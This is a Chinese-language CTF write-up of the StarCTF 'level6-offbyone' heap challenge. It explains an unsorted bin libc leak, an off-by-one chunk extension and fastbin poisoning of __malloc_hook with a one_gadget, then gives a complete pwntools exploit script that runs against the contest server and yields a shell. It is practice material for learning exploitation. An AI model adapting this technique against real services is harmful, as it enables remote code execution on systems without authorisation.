StarCTF Unsorted Bin Leak & Off by One & (UAF or Double Free) Level6-Offbyone Writeup

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

这道题个人觉得比较麻烦,这道题是保护全开的。 步骤

  1. unsorted bin leak 出 main_arena + 88。
  2. 这里有点要注意的,在这之前认为 unsorted bin 的地址如果之后被申请之后 FD 和 BK 会置空,现在看来似乎并不会。
  3. 为什么要四个 chunk? 四个 chunk 分别有以下作用:
    1. 用于 off by one 覆盖 b 的 size;
    2. 用于 Chunk Extend,Extend 到 c 的位置,用于控制 c 的 FD;
    3. 控制 fastbin 的引子;
    4. 防止 unsorted bin 与 top chunk 合并,因为 Chunk Extend 的长度是超过 fastbin 的长度。
  4. 结尾的 delete_note(4)是什么意思?
    1. 本来应该是触发 malloc 函数,但是 malloc 函数中如果 0 的数量不多,那么可能 one_gadget 无法达成条件。
    2. 所以就衍生出一种利用方法就是,两次 free 同一个地址,会爆 double free 错误,这时候因为堆栈比较深(libc_free -> _int_free -> malloc -> __malloc_hook),所以堆上的 0 会比较多,利用成功率会更高。
    3. 但是这里 double free 的条件难以构造,但是经过测试发现 delete_note(4)也可以触发报错,于是成功 getshell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level6-offbyone')
r = remote('pwn.sixstars.team', 22506)
context.log_level = "debug"
def add_note(size, content):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size:", str(size))
    r.sendafter("Content:", content)

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))

def edit_note(idx, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("Input your id:", str(idx))

#leak
add_note(0x88, 'a' * 0x88) #91
add_note(0x88, 'b' * 0x88) #91
delete_note(0)
add_note(0x8, 'a' * 0x8)
show_note(0)
malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
delete_note(0)
delete_note(1)
#off by one
add_note(0x18, 'a' * 0x18) #0
add_note(0x18, 'b' * 0x18) #1
add_note(0x68, 'c' * 0x68) #2
add_note(0x18, 'd' * 0x18) #3
edit_note(0, 'a' * 0x18 + '\x91')
delete_note(2)
delete_note(1)
add_note(0x88, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23) + '\n') #1
#UAF
add_note(0x68, 'c' * 0x68) #2
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
add_note(0x68, 'a' * 0x13 + p64(one_gadget) + '\n') #4
#delete_note(1)
delete_note(4)
r.interactive()
0%